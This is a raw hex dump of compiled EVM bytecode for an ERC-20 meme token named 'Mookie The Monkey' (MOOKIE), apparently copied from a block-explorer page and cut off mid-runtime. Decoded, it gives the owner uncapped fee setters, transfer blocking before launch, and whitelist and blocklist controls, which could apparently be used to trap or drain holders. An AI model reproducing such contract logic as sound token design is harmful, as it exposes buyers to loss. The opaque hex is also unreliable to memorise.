ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806000601254925060135491506004549050909192565b611107611988565b73ffffffffffffffffffffffffffffffffffffffff16611125610deb565b73ffffffffffffffffffffffffffffffffffffffff161461117b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117290613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290613ae0565b60405180910390fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61128f611988565b73ffffffffffffffffffffffffffffffffffffffff166112ad610deb565b73ffffffffffffffffffffffffffffffffffffffff1614611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa90613c00565b60405180910390fd5b6064600161130f610933565b6113199190614076565b6113239190613ed4565b811115611365576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135c90613bc0565b60405180910390fd5b6009600a6113739190613f58565b8161137e9190614076565b60058190555050565b6000600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611416611988565b73ffffffffffffffffffffffffffffffffffffffff16611434610deb565b73ffffffffffffffffffffffffffffffffffffffff161461148a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148190613c00565b60405180910390fd5b60005b82518110156115405781600860008584815181106114d4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611538906141c2565b91505061148d565b505050565b61154d611988565b73ffffffffffffffffffffffffffffffffffffffff1661156b610deb565b73ffffffffffffffffffffffffffffffffffffffff16146115c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b890613c00565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890613b20565b60405180910390fd5b61163a81612a76565b50565b611645611988565b73ffffffffffffffffffffffffffffffffffffffff16611663610deb565b73ffffffffffffffffffffffffffffffffffffffff16146116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613c00565b60405180910390fd5b80600f8190555050565b600e60019054906101000a900460ff1681565b6116de611988565b73ffffffffffffffffffffffffffffffffffffffff166116fc610deb565b73ffffffffffffffffffffffffffffffffffffffff1614611752576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174990613c00565b60405180910390fd5b8060108190555060105460118190555050565b600080600080601054935060115492506002549150600354905090919293565b6001600e60016101000a81548160ff0219169083151502179055506001600e60026101000a81548160ff021916908315150217905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561182d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182490613c20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561189d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189490613b00565b60405180910390fd5b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161197b9190613cc0565b60405180910390a3505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a00576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f790613ca0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a6790613ac0565b60405180910390fd5b60008111611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa90613be0565b60405180910390fd5b600e60019054906101000a900460ff16611c5057600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b685750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611bbc5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611c105750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4690613c60565b60405180910390fd5b5b600e60019054906101000a900460ff16158015611cbb5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d155750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d6a57600e60029054906101000a900460ff16611d69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6090613c40565b60405180910390fd5b5b600060019050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611dff5750611dd0610deb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611f1b5781600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e5391906140d0565b9250508190555081600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ea99190613e7e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f0d9190613cc0565b60405180910390a350612a71565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611fc25750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120015750611fd1610deb565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561209b5760045482111561204b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204290613ba0565b60405180910390fd5b6001600e60056101000a81548160ff021916908315150217905550600e60009054906101000a900460ff16801561208c575060055461208930610cf8565b10155b1561209a57612099612b3a565b5b5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121425750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156121815750612151610deb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121cc576003548211156121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613aa0565b60405180910390fd5b5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061226d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561227757600090505b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156123235750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561232d57600090505b80156128df57600e60059054906101000a900460ff166126055760006064601154846123599190614076565b6123639190613ed4565b90506000818461237391906140d0565b90506123c782600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061245c84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124f181600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516125919190613cc0565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f69190613cc0565b60405180910390a350506128da565b60006064601354846126179190614076565b6126219190613ed4565b90506000818461263191906140d0565b905061268582600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271a84600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127af81600c60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161284f9190613cc0565b60405180910390a33073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516128b49190613cc0565b60405180910390a36000600e60056101000a81548160ff02191690831515021790555050505b612a6f565b61293182600c60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cff90919063ffffffff16565b600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129c682600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ca190919063ffffffff16565b600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612a669190613cc0565b60405180910390a35b505b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000612b4530610cf8565b90506000811115612c6357600e60039054906101000a900460ff1615612c5e576000811115612c225760006064600f54612b7e30610cf8565b612b889190614076565b612b929190613ed4565b90506000819050612ba281612d49565b60004790506000811115612c1a57600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612c18573d6000803e3d6000fd5b505b505050612c5d565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5490613c80565b60405180910390fd5b5b612c9e565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c9590613b60565b60405180910390fd5b50565b6000808284612cb09190613e7e565b905083811015612cf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cec90613b40565b60405180910390fd5b8091505092915050565b6000612d4183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061300d565b905092915050565b6000600267ffffffffffffffff811115612d8c577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612dba5781602001602082028036833780820191505090505b5090503081600081518110612df8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612e9a57600080fd5b505afa158015612eae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ed29190613184565b81600181518110612f0c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f7330600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fd7959493929190613cdb565b600060405180830381600087803b158015612ff157600080fd5b505af1158015613005573d6000803e3d6000fd5b505050505050565b6000838311158290613055576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304c9190613a7e565b60405180910390fd5b506000838561306491906140d0565b9050809150509392505050565b600061308461307f84613dfd565b613dcc565b905080838252602082019050828560208602820111156130a357600080fd5b60005b858110156130d357816130b988826130dd565b8452602084019350602083019250506001810190506130a6565b5050509392505050565b6000813590506130ec816142b6565b92915050565b600081519050613101816142b6565b92915050565b600082601f83011261311857600080fd5b8135613128848260208601613071565b91505092915050565b600081359050613140816142cd565b92915050565b600081359050613155816142e4565b92915050565b60006020828403121561316d57600080fd5b600061317b848285016130dd565b91505092915050565b60006020828403121561319657600080fd5b60006131a4848285016130f2565b91505092915050565b600080604083850312156131c057600080fd5b60006131ce858286016130dd565b92505060206131df858286016130dd565b9150509250929050565b6000806000606084860312156131fe57600080fd5b600061320c868287016130dd565b935050602061321d868287016130dd565b925050604061322e86828701613146565b9150509250925092565b6000806040838503121561324b57600080fd5b6000613259858286016130dd565b925050602061326a85828601613131565b9150509250929050565b6000806040838503121561328757600080fd5b6000613295858286016130dd565b92505060206132a685828601613146565b9150509250929050565b600080604083850312156132c357600080fd5b600083013567ffffffffffffffff8111156132dd57600080fd5b6132e985828601613107565b92505060206132fa85828601613131565b9150509250929050565b60006020828403121561331657600080fd5b600061332484828501613131565b91505092915050565b60006020828403121561333f57600080fd5b600061334d84828501613146565b91505092915050565b60008060006060848603121561336b57600080fd5b600061337986828701613146565b935050602061338a86828701613146565b925050604061339b86828701613146565b9150509250925092565b60006133b183836133bd565b60208301905092915050565b6133c681614104565b82525050565b6133d581614104565b82525050565b60006133e682613e39565b6133f08185613e5c565b93506133fb83613e29565b8060005b8381101561342c57815161341388826133a5565b975061341e83613e4f565b9250506001810190506133ff565b5085935050505092915050565b61344281614116565b82525050565b61345181614159565b82525050565b6134608161417d565b82525050565b600061347182613e44565b61347b8185613e6d565b935061348b81856020860161418f565b61349481614298565b840191505092915050565b60006134ac601c83613e6d565b91507f42757920616d6f756e742065786365656473206d6178206c696d6974000000006000830152602082019050919050565b60006134ec602583613e6d565b91507f4d79546f6b656e3a207472616e7366657220746f20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613552600f83613e6d565b91507f496e76616c6964206164647265737300000000000000000000000000000000006000830152602082019050919050565b6000613592602483613e6d565b91507f4d79546f6b656e3a20617070726f766520746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006135f8602683613e6d565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b600061365e601b83613e6d565b91507f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006000830152602082019050919050565b600061369e601c83613e6d565b91507f4e6f2042616c616e636520617661696c61626c6520746f2073776170000000006000830152602082019050919050565b60006136de603b83613e6d565b91507f4d79546f6b656e3a20726563697069656e742077616c6c65742062616c616e6360008301527f65206578636565647320746865206d6178696d756d206c696d697400000000006020830152604082019050919050565b6000613744601d83613e6d565b91507f53656c6c20616d6f756e742065786365656473206d6178206c696d69740000006000830152602082019050919050565b6000613784602983613e6d565b91507f496e76616c69642076616c75653a2065786365656473203125206f6620746f7460008301527f616c20737570706c7900000000000000000000000000000000000000000000006020830152604082019050919050565b60006137ea603283613e6d565b91507f4d79546f6b656e3a207472616e7366657220616d6f756e74206d75737420626560008301527f2067726561746572207468616e207a65726f00000000000000000000000000006020830152604082019050919050565b6000613850602083613e6d565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000613890602683613e6d565b91507f4d79546f6b656e3a20617070726f76652066726f6d20746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006138f6602083613e6d565b91507f5472616e7366657273206172652063757272656e746c792064697361626c65646000830152602082019050919050565b6000613936601183613e6d565b91507f7765206e6f74206c61756e6368207965740000000000000000000000000000006000830152602082019050919050565b6000613976601b83613e6d565b91507f4e6f20746f6b656e7320617661696c61626c6520746f207377617000000000006000830152602082019050919050565b60006139b6602783613e6d565b91507f4d79546f6b656e3a207472616e736665722066726f6d20746865207a65726f2060008301527f61646472657373000000000000000000000000000000000000000000000000006020830152604082019050919050565b613a1881614142565b82525050565b613a278161414c565b82525050565b6000602082019050613a4260008301846133cc565b92915050565b6000602082019050613a5d6000830184613439565b92915050565b6000602082019050613a786000830184613448565b92915050565b60006020820190508181036000830152613a988184613466565b905092915050565b60006020820190508181036000830152613ab98161349f565b9050919050565b60006020820190508181036000830152613ad9816134df565b9050919050565b60006020820190508181036000830152613af981613545565b9050919050565b60006020820190508181036000830152613b1981613585565b9050919050565b60006020820190508181036000830152613b39816135eb565b9050919050565b60006020820190508181036000830152613b5981613651565b9050919050565b60006020820190508181036000830152613b7981613691565b9050919050565b60006020820190508181036000830152613b99816136d1565b9050919050565b60006020820190508181036000830152613bb981613737565b9050919050565b60006020820190508181036000830152613bd981613777565b9050919050565b60006020820190508181036000830152613bf9816137dd565b9050919050565b60006020820190508181036000830152613c1981613843565b9050919050565b60006020820190508181036000830152613c3981613883565b9050919050565b60006020820190508181036000830152613c59816138e9565b9050919050565b60006020820190508181036000830152613c7981613929565b9050919050565b60006020820190508181036000830152613c9981613969565b9050919050565b60006020820190508181036000830152613cb9816139a9565b9050919050565b6000602082019050613cd56000830184613a0f565b92915050565b600060a082019050613cf06000830188613a0f565b613cfd6020830187613457565b8181036040830152613d0f81866133db565b9050613d1e60608301856133cc565b613d2b6080830184613a0f565b9695505050505050565b6000606082019050613d4a6000830186613a0f565b613d576020830185613a0f565b613d646040830184613a0f565b949350505050565b6000608082019050613d816000830187613a0f565b613d8e6020830186613a0f565b613d9b6040830185613a0f565b613da86060830184613a0f565b95945050505050565b6000602082019050613dc66000830184613a1e565b92915050565b6000604051905081810181811067ffffffffffffffff82111715613df357613df2614269565b5b8060405250919050565b600067ffffffffffffffff821115613e1857613e17614269565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613e8982614142565b9150613e9483614142565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613ec957613ec861420b565b5b828201905092915050565b6000613edf82614142565b9150613eea83614142565b925082613efa57613ef961423a565b5b828204905092915050565b6000808291508390505b6001851115613f4f57808604811115613f2b57613f2a61420b565b5b6001851615613f3a5780820291505b8081029050613f48856142a9565b9450613f0f565b94509492505050565b6000613f6382614142565b9150613f6e8361414c565b9250613f9b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613fa3565b905092915050565b600082613fb3576001905061406f565b81613fc1576000905061406f565b8160018114613fd75760028114613fe157614010565b600191505061406f565b60ff841115613ff357613ff261420b565b5b8360020a91508482111561400a5761400961420b565b5b5061406f565b5060208310610133831016604e8410600b84101617156140455782820a9050838111156140405761403f61420b565b5b61406f565b6140528484846001613f05565b925090508184048111156140695761406861420b565b5b81810290505b9392505050565b600061408182614142565b915061408c83614142565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140c5576140c461420b565b5b828202905092915050565b60006140db82614142565b91506140e683614142565b9250828210156140f9576140f861420b565b5b828203905092915050565b600061410f82614122565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006141648261416b565b9050919050565b600061417682614122565b9050919050565b600061418882614142565b9050919050565b60005b838110156141ad578082015181840152602081019050614192565b838111156141bc576000848401525b50505050565b60006141cd82614142565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614200576141ff61420b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b6142bf81614104565b81146142ca57600080fd5b50565b6142d681614116565b81146142e157600080fd5b50565b6142ed81614142565b81146142f857600080fd5b5056fea26469706673582212208ceb164f1058724ac0ecf35c0e92a6eac9f7afdb22833ab6bdb14d02a73b038c64736f6c63430008000033
Deployed Bytecode
0x6080604052600436106101fd5760003560e01c80638da5cb5b1161010d578063d8a0663c116100a0578063f515a55c1161006f578063f515a55c14610742578063f7de4dfd1461076b578063fcd2e04914610796578063feae65e7146107bf578063ff5211bb146107ed57610204565b8063d8a0663c1461068a578063dd62ed3e146106b3578063f18b8cba146106f0578063f2fde38b1461071957610204565b8063a9059cbb116100dc578063a9059cbb146105ba578063c683630d146105f7578063c6da305114610634578063d0d41fe11461066157610204565b80638da5cb5b14610510578063925542871461053b57806395d89b4114610566578063a14aee611461059157610204565b806336a0f8a5116101905780636612e66f1161015f5780636612e66f1461043d57806370a0823114610466578063715018a6146104a357806385438bc0146104ba578063893d20e8146104e557610204565b806336a0f8a51461038357806349bd5a5e146103ac5780635342acb4146103d757806353d6fd591461041457610204565b80631694505e116101cc5780631694505e146102c557806318160ddd146102f057806323b872dd1461031b578063313ce5671461035857610204565b806301e51ae81461020957806306fdde0314610234578063095ea7b31461025f5780630a80c0cc1461029c57610204565b3661020457005b600080fd5b34801561021557600080fd5b5061021e610804565b60405161022b9190613a2d565b60405180910390f35b34801561024057600080fd5b5061024961082a565b6040516102569190613a7e565b60405180910390f35b34801561026b57600080fd5b5061028660048036038101906102819190613274565b610867565b6040516102939190613a48565b60405180910390f35b3480156102a857600080fd5b506102c360048036038101906102be919061332d565b61087e565b005b3480156102d157600080fd5b506102da61090d565b6040516102e79190613a63565b60405180910390f35b3480156102fc57600080fd5b50610305610933565b6040516103129190613cc0565b60405180910390f35b34801561032757600080fd5b50610342600480360381019061033d91906131e9565b61093d565b60405161034f9190613a48565b60405180910390f35b34801561036457600080fd5b5061036d6109e7565b60405161037a9190613db1565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a59190613356565b6109f0565b005b3480156103b857600080fd5b506103c1610ace565b6040516103ce9190613a2d565b60405180910390f35b3480156103e357600080fd5b506103fe60048036038101906103f9919061315b565b610af4565b60405161040b9190613a48565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190613238565b610b4a565b005b34801561044957600080fd5b50610464600480360381019061045f9190613238565b610c21565b005b34801561047257600080fd5b5061048d6004803603810190610488919061315b565b610cf8565b60405161049a9190613cc0565b60405180910390f35b3480156104af57600080fd5b506104b8610d41565b005b3480156104c657600080fd5b506104cf610dc9565b6040516104dc9190613a48565b60405180910390f35b3480156104f157600080fd5b506104fa610ddc565b6040516105079190613a2d565b60405180910390f35b34801561051c57600080fd5b50610525610deb565b6040516105329190613a2d565b60405180910390f35b34801561054757600080fd5b50610550610e14565b60405161055d9190613a48565b60405180910390f35b34801561057257600080fd5b5061057b610e27565b6040516105889190613a7e565b60405180910390f35b34801561059d57600080fd5b506105b860048036038101906105b39190613304565b610e64565b005b3480156105c657600080fd5b506105e160048036038101906105dc9190613274565b610efd565b6040516105ee9190613a48565b60405180910390f35b34801561060357600080fd5b5061061e6004803603810190610619919061315b565b611090565b60405161062b9190613a48565b60405180910390f35b34801561064057600080fd5b506106496110e6565b60405161065893929190613d35565b60405180910390f35b34801561066d57600080fd5b506106886004803603810190610683919061315b565b6110ff565b005b34801561069657600080fd5b506106b160048036038101906106ac919061332d565b611287565b005b3480156106bf57600080fd5b506106da60048036038101906106d591906131ad565b611387565b6040516106e79190613cc0565b60405180910390f35b3480156106fc57600080fd5b50610717600480360381019061071291906132b0565b61140e565b005b34801561072557600080fd5b50610740600480360381019061073b919061315b565b611545565b005b34801561074e57600080fd5b506107696004803603810190610764919061332d565b61163d565b005b34801561077757600080fd5b506107806116c3565b60405161078d9190613a48565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b8919061332d565b6116d6565b005b3480156107cb57600080fd5b506107d4611765565b6040516107e49493929190613d6c565b60405180910390f35b3480156107f957600080fd5b50610802611785565b005b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280601181526020017f4d6f6f6b696520546865204d6f6e6b6579000000000000000000000000000000815250905090565b60006108743384846117bd565b6001905092915050565b610886611988565b73ffffffffffffffffffffffffffffffffffffffff166108a4610deb565b73ffffffffffffffffffffffffffffffffffffffff16146108fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f190613c00565b60405180910390fd5b8060128190555060125460138190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600154905090565b60006109d1843384600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109cc91906140d0565b6117bd565b6109dc848484611990565b600190509392505050565b60006009905090565b6109f8611988565b73ffffffffffffffffffffffffffffffffffffffff16610a16610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390613c00565b60405180910390fd5b6009600a610a7a9190613f58565b83610a859190614076565b6002819055506009600a610a999190613f58565b82610aa49190614076565b6003819055506009600a610ab89190613f58565b81610ac39190614076565b600481905550505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610b52611988565b73ffffffffffffffffffffffffffffffffffffffff16610b70610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610bc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbd90613c00565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610c29611988565b73ffffffffffffffffffffffffffffffffffffffff16610c47610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9490613c00565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d49611988565b73ffffffffffffffffffffffffffffffffffffffff16610d67610deb565b73ffffffffffffffffffffffffffffffffffffffff1614610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490613c00565b60405180910390fd5b610dc76000612a76565b565b600e60029054906101000a900460ff1681565b6000610de6610deb565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600e60009054906101000a900460ff1681565b60606040518060400160405280600681526020017f4d4f4f4b49450000000000000000000000000000000000000000000000000000815250905090565b610e6c611988565b73ffffffffffffffffffffff